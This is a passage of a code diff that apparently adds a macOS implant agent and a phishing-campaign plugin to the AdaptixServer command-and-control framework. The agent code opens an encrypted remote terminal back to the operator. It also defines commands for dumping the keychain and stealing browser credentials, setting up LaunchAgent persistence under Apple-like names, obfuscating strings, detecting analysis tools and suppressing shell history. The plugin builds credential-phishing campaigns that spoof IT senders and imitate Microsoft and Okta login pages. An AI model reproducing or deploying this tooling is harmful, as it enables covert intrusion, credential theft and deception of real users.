jobTerminal(paramsData []byte) { + var params utils.ParamsTerminalStart + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + go func() { + active := true + status := "" + + process := exec.Command(params.Program) + ptyProc, err := functions.StartPtyCommand(process, uint16(params.Width), uint16(params.Height)) + if err != nil { + active = false + status = err.Error() + } + + var srvConn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + srvConn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + srvConn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + if active { + functions.StopPty(ptyProc) + _ = process.Process.Kill() + } + return + } + + tunKey := make([]byte, 16) + _, _ = rand.Read(tunKey) + tunIv := make([]byte, 16) + _, _ = rand.Read(tunIv) + + jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Iv: tunIv, Alive: active, Status: status}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TERMINAL, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(srvConn, profile.BannerSize) + if err != nil { + srvConn.Close() + if active { + functions.StopPty(ptyProc) + _ = process.Process.Kill() + } + return + } + } + + /// Send Init + _ = functions.SendMsg(srvConn, jobMsg) + + if !active { + srvConn.Close() + return + } + + encCipher, _ := aes.NewCipher(tunKey) + encStream := cipher.NewCTR(encCipher, tunIv) + streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn} + + decCipher, _ := aes.NewCipher(tunKey) + decStream := cipher.NewCTR(decCipher, tunIv) + streamReader := &cipher.StreamReader{S: decStream, R: srvConn} + + ctx, cancel := context.WithCancel(context.Background()) + TERMINALS.Store(params.TermId, cancel) + defer TERMINALS.Delete(params.TermId) + + var closeOnce sync.Once + closeAll := func() { + closeOnce.Do(func() { + time.Sleep(200 * time.Millisecond) + _ = functions.StopPty(ptyProc) + if functions.IsProcessRunning(process) { + _ = process.Process.Kill() + } + _ = srvConn.Close() + }) + } + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + functions.RelayConnToPty(ptyProc, streamReader) + closeAll() + }() + + go func() { + defer wg.Done() + functions.RelayPtyToConn(streamWriter, ptyProc) + closeAll() + }() + + go func() { + <-ctx.Done() + closeAll() + }() + + wg.Wait() + _ = process.Wait() + cancel() + }() +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go new file mode 100644 index 000000000..a9a71f9fc --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go @@ -0,0 +1,57 @@ +package utils + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "fmt" + "io" +) + +var SKey []byte + +func EncryptData(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func DecryptData(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + return plaintext, nil +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go new file mode 100644 index 000000000..12214422f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go @@ -0,0 +1,16 @@ +//go:build debug + +package utils + +import ( + "fmt" + "os" + "time" +) + +// DebugLog prints debug messages to stderr when built with -tags=debug. +// Never included in production payloads. +func DebugLog(format string, args ...interface{}) { + msg := fmt.Sprintf(format, args...) + fmt.Fprintf(os.Stderr, "[DBG %s] %s\n", time.Now().Format("15:04:05"), msg) +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go new file mode 100644 index 000000000..56623c3f3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go @@ -0,0 +1,6 @@ +//go:build !debug + +package utils + +// DebugLog is a no-op in release builds. The compiler eliminates these calls. +func DebugLog(format string, args ...interface{}) {} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go new file mode 100644 index 000000000..91009c0e3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go @@ -0,0 +1,26 @@ +package utils + +// PLACEHOLDER — overwritten at build-time by pl_main.go:generateObfuscatedStrings(). +// Each payload build generates a unique XOR key and re-encodes all strings. +// These plaintext fallbacks exist only for dev-time compilation (go vet, IDE). + +func StrHwModel() string { return "hw.model" } +func StrKernBootargs() string { return "kern.bootargs" } +func StrAmfiBypass() string { return "amfi_get_out_of_my_way" } +func StrSandboxEnv() string { return "APP_SANDBOX_CONTAINER_ID" } +func StrHopper() string { return "/Applications/Hopper Disassembler v4.app" } +func StrIDA() string { return "/Applications/IDA Pro.app" } +func StrGhidra() string { return "/Applications/Ghidra.app" } +func StrCharles() string { return "/Applications/Charles.app" } +func StrProxyman() string { return "/Applications/Proxyman.app" } +func StrWireshark() string { return "/Applications/Wireshark.app" } +func StrSystemVersionPlist() string { return "/System/Library/CoreServices/SystemVersion.plist" } +func StrProductVersion() string { return "ProductVersion" } +func StrMacOS() string { return "MacOS" } +func StrHistfile() string { return "HISTFILE=/dev/null" } +func StrHistfilesize() string { return "HISTFILESIZE=0" } +func StrHistsize() string { return "HISTSIZE=0" } +func StrHistory() string { return "HISTORY=" } +func StrHistsave() string { return "HISTSAVE=" } +func StrHistzone() string { return "HISTZONE=" } +func StrHistlog() string { return "HISTLOG=" } diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go new file mode 100644 index 000000000..7181c8b77 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go @@ -0,0 +1,360 @@ +package utils + +import ( + "context" + "net" +) + +type Connection struct { + PackType int + Conn net.Conn + Ctx context.Context + HandleCancel context.CancelFunc + JobCancel context.CancelFunc +} + +/// Listener + +const ( + INIT_PACK = 1 + EXFIL_PACK = 2 + JOB_PACK = 3 + JOB_TUNNEL = 4 + JOB_TERMINAL = 5 +) + +type StartMsg struct { + Type int `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type InitPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Data []byte `msgpack:"data"` +} + +type ExfilPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Task string `msgpack:"task"` +} + +type JobPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Task string `msgpack:"task"` +} + +type TunnelPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + ChannelId int `msgpack:"channel_id"` + Key []byte `msgpack:"key"` + Iv []byte `msgpack:"iv"` + Alive bool `msgpack:"alive"` + Reason byte `msgpack:"reason"` +} + +type TermPack struct { + Id uint `msgpack:"id"` + TermId int `msgpack:"term_id"` + Key []byte `msgpack:"key"` + Iv []byte `msgpack:"iv"` + Alive bool `msgpack:"alive"` + Status string `msgpack:"status"` +} + +/// Agent + +type Profile struct { + Type uint `msgpack:"type"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type AnsScreenshots struct { + Screens [][]byte `msgpack:"screens"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +/// Phase 4 — Persistence & Post-exploitation types + +type ParamsPersist struct { + Action string `msgpack:"action"` // install, remove, status + Method string `msgpack:"method"` // launchagent, launchdaemon + Name string `msgpack:"name"` // plist label (e.g. com.apple.mdworker.local) +} + +type AnsPersist struct { + Output string `msgpack:"output"` +} + +type ParamsDefaults struct { + Domain string `msgpack:"domain"` +} + +type ParamsKeychain struct { + Action string `msgpack:"action"` // list, dump +} + +type ParamsBrowserDump struct { + Browser string `msgpack:"browser"` // chrome, firefox + Target string `msgpack:"target"` // cookies, history, logins +} + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_SCREENSHOT = 16 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // macOS-specific commands (slots 21-30) + COMMAND_CLIPBOARD = 21 + COMMAND_PERSIST = 22 + COMMAND_TCC_CHECK = 23 + COMMAND_DEFAULTS = 24 + COMMAND_EDR_CHECK = 25 + COMMAND_KEYCHAIN = 26 + COMMAND_BROWSER_DUMP = 27 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 +) diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go new file mode 100644 index 000000000..601dd28ca --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go @@ -0,0 +1,12 @@ +package utils + +// Xor decodes a XOR-obfuscated byte slice with the given key. +// Used to hide sensitive strings from static analysis (strings command). +func Xor(data []byte, key []byte) string { + out := make([]byte, len(data)) + kl := len(key) + for i := range data { + out[i] = data[i] ^ key[i%kl] + } + return string(out) +} diff --git a/AdaptixServer/extenders/phishing_service/Makefile b/AdaptixServer/extenders/phishing_service/Makefile new file mode 100644 index 000000000..5380772a0 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/Makefile @@ -0,0 +1,10 @@ +all: clean + @ echo " * Building phishing service plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ cp -r templates landers ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_phishing.so *.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/phishing_service/ax_config.axs b/AdaptixServer/extenders/phishing_service/ax_config.axs new file mode 100644 index 000000000..e7b8f6895 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/ax_config.axs @@ -0,0 +1,756 @@ +/// Phishing Service - UI + +let campaignsDock = null; +let resultsDock = null; +let campaignsTable = null; +let resultsTable = null; +let campaignFilter = null; +let campaignsData = []; +let allResults = {}; +let activePreview = null; + +// ============================================================================ +// InitService - Called when service is loaded +// ============================================================================ + +function InitService() { + createCampaignsDock(); + createResultsDock(); + loadInitialData(); +} + +// ============================================================================ +// Data Handler - Receives data from server +// ============================================================================ + +function data_handler(data) { + try { + let json = JSON.parse(data); + let msgType = json.type; + + if (msgType === "campaigns") { + campaignsData = json.data || []; + refreshCampaignsTable(); + } + else if (msgType === "targets") { + showTargetsDialog(json.data.campaign_id, json.data.targets || []); + } + else if (msgType === "results") { + let cid = json.data.campaign_id; + allResults[cid] = json.data.results || []; + refreshResultsTable(); + } + else if (msgType === "event") { + handleEvent(json.event, json.data); + } + else if (msgType === "error") { + ax.show_message("Phishing Error", json.message); + } + else if (msgType === "templates") { + cachedTemplates = json.data || []; + } + else if (msgType === "landers") { + cachedLanders = json.data || []; + } + else if (msgType === "preview") { + if (activePreview) { + activePreview.setHtml(json.data.html); + } + } + else if (msgType === "export") { + let filename = "phishing_results_" + json.data.campaign_id + ".csv"; + let path = ax.prompt_save_file(filename, "Export Results", "CSV Files (*.csv)"); + if (path) { + ax.file_write_text(path, json.data.csv, false); + } + } + } catch (e) { + ax.log_error("Phishing: parse error: " + e); + } +} + +// ============================================================================ +// Campaigns Dock +// ============================================================================ + +let cachedTemplates = []; +let cachedLanders = []; + +function createCampaignsDock() { + campaignsDock = form.create_ext_dock("phishing_campaigns", "Phishing Campaigns", ""); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + + let btnNew = form.create_button("New Campaign"); + let btnStart = form.create_button("Start"); + let btnStop = form.create_button("Stop"); + let btnDelete = form.create_button("Delete"); + let btnTargets = form.create_button("Targets"); + let btnRefresh = form.create_button("Refresh"); + + toolbar.addWidget(btnNew); + toolbar.addWidget(btnStart); + toolbar.addWidget(btnStop); + toolbar.addWidget(btnTargets); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + toolbar.addWidget(btnRefresh); + + let toolbarPanel = form.create_panel(); + toolbarPanel.setLayout(toolbar); + mainLayout.addWidget(toolbarPanel); + + // Table + campaignsTable = form.create_table(["Name", "Status", "Targets", "Sent", "Opened", "Clicked", "Submitted", "Errors", "Created By"]); + campaignsTable.setSortingEnabled(true); + campaignsTable.setReadOnly(true); + mainLayout.addWidget(campaignsTable); + + campaignsDock.setLayout(mainLayout); + campaignsDock.setSize(900, 400); + campaignsDock.show(); + + // Signals + form.connect(btnNew, "clicked", function() { + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + // Small delay to let templates/landers load before showing dialog + event.on_timeout(function() { showNewCampaignDialog(); }, 1); + }); + + form.connect(btnStart, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Start Campaign", "Send emails for this campaign?")) { + ax.service_command("Phishing", "campaign_start", {id: cid}); + } + } + }); + + form.connect(btnStop, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "campaign_stop", {id: cid}); + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Delete Campaign", "Delete this campaign and all its data?")) { + ax.service_command("Phishing", "campaign_delete", {id: cid}); + } + } + }); + + form.connect(btnTargets, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "targets_list", {campaign_id: cid}); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadInitialData(); + }); + + form.connect(campaignsTable, "cellDoubleClicked", function(row, col) { + let cid = getCampaignIDByRow(row); + if (cid) { + ax.service_command("Phishing", "results_list", {campaign_id: cid}); + } + }); +} + +function refreshCampaignsTable() { + if (!campaignsTable) return; + + campaignsTable.setRowCount(0); + if (!campaignsData) return; + + for (let i = 0; i < campaignsData.length; i++) { + let c = campaignsData[i]; + let created = c.created_at ? ax.format_time("yyyy-MM-dd HH:mm", c.created_at) : ""; + campaignsTable.addItem([ + c.name || "", + c.status || "", + String(c.total_targets || 0), + String(c.sent || 0), + String(c.opened || 0), + String(c.clicked || 0), + String(c.submitted || 0), + String(c.errors || 0), + c.created_by || "" + ]); + } + + // Update filter combo in results dock + updateCampaignFilter(); +} + +function getCampaignIDByRow(row) { + if (!campaignsData || row < 0 || row >= campaignsData.length) return null; + return campaignsData[row].id; +} + +// ============================================================================ +// New Campaign Dialog +// ============================================================================ + +function showNewCampaignDialog() { + let dialog = form.create_dialog("New Phishing Campaign"); + dialog.setSize(920, 700); + + // ======================= Form fields ======================= + + let txtName = form.create_textline(""); + txtName.setPlaceholder("Q1-2025 Password Audit - Finance Dept"); + let txtSubject = form.create_textline(""); + txtSubject.setPlaceholder("Action Required: Your password expires in 24 hours"); + let txtSenderEmail = form.create_textline(""); + txtSenderEmail.setPlaceholder("it-security@contoso.com"); + let txtSenderName = form.create_textline(""); + txtSenderName.setPlaceholder("IT Service Desk"); + + let txtSmtpHost = form.create_textline(""); + txtSmtpHost.setPlaceholder("smtp.gmail.com"); + let spinSmtpPort = form.create_spin(); + spinSmtpPort.setRange(1, 65535); + spinSmtpPort.setValue(587); + let txtSmtpUser = form.create_textline(""); + txtSmtpUser.setPlaceholder("relay@yourdomain.com"); + let txtSmtpPass = form.create_textline(""); + txtSmtpPass.setPlaceholder("App password or SMTP credential"); + let chkSmtpTLS = form.create_check("Enable TLS"); + chkSmtpTLS.setChecked(true); + + let cmbTemplate = form.create_combo(); + let cmbLander = form.create_combo(); + if (cachedTemplates && cachedTemplates.length > 0) { + for (let i = 0; i < cachedTemplates.length; i++) cmbTemplate.addItem(cachedTemplates[i]); + } + if (cachedLanders && cachedLanders.length > 0) { + for (let i = 0; i < cachedLanders.length; i++) cmbLander.addItem(cachedLanders[i]); + } + + let txtBaseURL = form.create_textline(""); + txtBaseURL.setPlaceholder("https://portal-auth.contoso.com"); + let txtRedirectURL = form.create_textline("https://login.microsoftonline.com"); + let chkTrackOpens = form.create_check("Track email opens (1x1 tracking pixel)"); + chkTrackOpens.setChecked(true); + let chkTrackClicks = form.create_check("Track link clicks (redirect through server)"); + chkTrackClicks.setChecked(true); + let spinDelay = form.create_spin(); + spinDelay.setRange(0, 300); + spinDelay.setValue(3); + + // Preview browser + let previewBrowser = form.create_textbrowser(); + activePreview = previewBrowser; + + // ======================= Layout ======================= + + let pageLayout = form.create_vlayout(); + + // --- Campaign Identity --- + let identGrid = form.create_gridlayout(); + identGrid.addWidget(form.create_label("Name *"), 0, 0); + identGrid.addWidget(txtName, 0, 1); + identGrid.addWidget(form.create_label("Subject *"), 1, 0); + identGrid.addWidget(txtSubject, 1, 1); + + let identInner = form.create_panel(); + identInner.setLayout(identGrid); + let grpIdent = form.create_groupbox("Campaign Identity", false); + grpIdent.setPanel(identInner); + pageLayout.addWidget(grpIdent); + + // --- Sender --- + let senderGrid = form.create_gridlayout(); + senderGrid.addWidget(form.create_label("Email *"), 0, 0); + senderGrid.addWidget(txtSenderEmail, 0, 1); + senderGrid.addWidget(form.create_label("Display Name"), 1, 0); + senderGrid.addWidget(txtSenderName, 1, 1); + + let senderInner = form.create_panel(); + senderInner.setLayout(senderGrid); + let grpSender = form.create_groupbox("Sender (From)", false); + grpSender.setPanel(senderInner); + pageLayout.addWidget(grpSender); + + // --- SMTP Server --- + let smtpGrid = form.create_gridlayout(); + smtpGrid.addWidget(form.create_label("Host *"), 0, 0); + smtpGrid.addWidget(txtSmtpHost, 0, 1); + smtpGrid.addWidget(form.create_label("Port"), 1, 0); + let portRow = form.create_hlayout(); + portRow.addWidget(spinSmtpPort); + portRow.addWidget(form.create_label(" 587=STARTTLS 465=SMTPS 25=Plain")); + let portPanel = form.create_panel(); + portPanel.setLayout(portRow); + smtpGrid.addWidget(portPanel, 1, 1); + smtpGrid.addWidget(form.create_label("Username"), 2, 0); + smtpGrid.addWidget(txtSmtpUser, 2, 1); + smtpGrid.addWidget(form.create_label("Password"), 3, 0); + smtpGrid.addWidget(txtSmtpPass, 3, 1); + smtpGrid.addWidget(chkSmtpTLS, 4, 1); + + let smtpInner = form.create_panel(); + smtpInner.setLayout(smtpGrid); + let grpSmtp = form.create_groupbox("SMTP Server", false); + grpSmtp.setPanel(smtpInner); + pageLayout.addWidget(grpSmtp); + + // --- Content & Preview (splitter) --- + let contentGrid = form.create_gridlayout(); + contentGrid.addWidget(form.create_label("Email Template"), 0, 0); + contentGrid.addWidget(cmbTemplate, 0, 1); + contentGrid.addWidget(form.create_label("Landing Page"), 1, 0); + contentGrid.addWidget(cmbLander, 1, 1); + + // Template descriptions table + let tplDesc = form.create_table(["Template", "Scenario", "Best paired with"]); + tplDesc.setReadOnly(true); + tplDesc.setSortingEnabled(false); + tplDesc.setHeadersVisible(true); + tplDesc.addItem(["password_expiry", "Password expiration alert", "microsoft_login"]); + tplDesc.addItem(["shared_document", "SharePoint file share", "microsoft_login"]); + tplDesc.addItem(["voicemail_notification", "Teams voicemail received", "microsoft_login"]); + tplDesc.addItem(["helpdesk_ticket", "IT support ticket opened", "okta_login"]); + tplDesc.addItem(["mfa_setup", "MFA enrollment required", "okta_login"]); + tplDesc.addItem(["default_email", "Generic document review", "default_login"]); + + // Left side: combos + reference table + let leftLayout = form.create_vlayout(); + let contentGridPanel = form.create_panel(); + contentGridPanel.setLayout(contentGrid); + leftLayout.addWidget(contentGridPanel); + leftLayout.addWidget(tplDesc); + + let leftPanel = form.create_panel(); + leftPanel.setLayout(leftLayout); + + // Right side: HTML preview + let rightLayout = form.create_vlayout(); + rightLayout.addWidget(form.create_label("Preview")); + rightLayout.addWidget(previewBrowser); + + let rightPanel = form.create_panel(); + rightPanel.setLayout(rightLayout); + + // Splitter: left controls | right preview + let contentSplitter = form.create_hsplitter(); + contentSplitter.addPage(leftPanel); + contentSplitter.addPage(rightPanel); + contentSplitter.setSizes([320, 540]); + + let contentSplitLayout = form.create_vlayout(); + contentSplitLayout.addWidget(contentSplitter); + + let contentInner = form.create_panel(); + contentInner.setLayout(contentSplitLayout); + let grpContent = form.create_groupbox("Content & Preview", false); + grpContent.setPanel(contentInner); + pageLayout.addWidget(grpContent); + + // Connect combos to preview + form.connect(cmbTemplate, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "template", name: text}); + }); + form.connect(cmbLander, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "lander", name: text}); + }); + + // Load initial preview for the first selected template + if (cmbTemplate.currentText()) { + ax.service_command("Phishing", "template_preview", {type: "template", name: cmbTemplate.currentText()}); + } + + // --- Tracking & Delivery --- + let trackGrid = form.create_gridlayout(); + trackGrid.addWidget(form.create_label("Base URL *"), 0, 0); + trackGrid.addWidget(txtBaseURL, 0, 1); + trackGrid.addWidget(form.create_label("Redirect URL"), 1, 0); + trackGrid.addWidget(txtRedirectURL, 1, 1); + trackGrid.addWidget(chkTrackOpens, 2, 1); + trackGrid.addWidget(chkTrackClicks, 3, 1); + trackGrid.addWidget(form.create_label("Send Delay (s)"), 4, 0); + let delayRow = form.create_hlayout(); + delayRow.addWidget(spinDelay); + delayRow.addWidget(form.create_label(" Seconds between each email sent")); + let delayPanel = form.create_panel(); + delayPanel.setLayout(delayRow); + trackGrid.addWidget(delayPanel, 4, 1); + + let trackInner = form.create_panel(); + trackInner.setLayout(trackGrid); + let grpTrack = form.create_groupbox("Tracking & Delivery", false); + grpTrack.setPanel(trackInner); + pageLayout.addWidget(grpTrack); + + // --- Spacer at bottom --- + pageLayout.addWidget(form.create_vspacer()); + + // --- Scrollable container --- + let scrollContent = form.create_panel(); + scrollContent.setLayout(pageLayout); + let scrollArea = form.create_scrollarea(); + scrollArea.setPanel(scrollContent); + scrollArea.setWidgetResizable(true); + + let mainLayout = form.create_vlayout(); + mainLayout.addWidget(scrollArea); + dialog.setLayout(mainLayout); + + let accepted = dialog.exec(); + activePreview = null; + + if (accepted === true) { + let campaign = { + name: txtName.text(), + subject: txtSubject.text(), + sender_email: txtSenderEmail.text(), + sender_name: txtSenderName.text(), + smtp_host: txtSmtpHost.text(), + smtp_port: spinSmtpPort.value(), + smtp_user: txtSmtpUser.text(), + smtp_pass: txtSmtpPass.text(), + smtp_tls: chkSmtpTLS.isChecked(), + template: cmbTemplate.currentText(), + lander: cmbLander.currentText(), + base_url: txtBaseURL.text(), + redirect_url: txtRedirectURL.text(), + track_opens: chkTrackOpens.isChecked(), + track_clicks: chkTrackClicks.isChecked(), + send_delay: spinDelay.value() + }; + + if (!campaign.name || !campaign.smtp_host || !campaign.sender_email || !campaign.base_url) { + ax.show_message("Error", "Required fields: Campaign Name, SMTP Host, Sender Email, Base URL"); + return; + } + + ax.service_command("Phishing", "campaign_create", campaign); + } +} + +// ============================================================================ +// Targets Dialog +// ============================================================================ + +function showTargetsDialog(campaignID, targets) { + let dialog = form.create_ext_dialog("Targets - Campaign"); + dialog.setSize(700, 500); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + let btnImport = form.create_button("Import CSV"); + let btnDelete = form.create_button("Delete Selected"); + toolbar.addWidget(btnImport); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + + let tgtToolbarPanel = form.create_panel(); + tgtToolbarPanel.setLayout(toolbar); + mainLayout.addWidget(tgtToolbarPanel); + + // Table + let tgtTable = form.create_table(["Email", "First Name", "Last Name", "Position", "Company"]); + tgtTable.setSortingEnabled(true); + tgtTable.setReadOnly(true); + + if (targets) { + for (let i = 0; i < targets.length; i++) { + let t = targets[i]; + 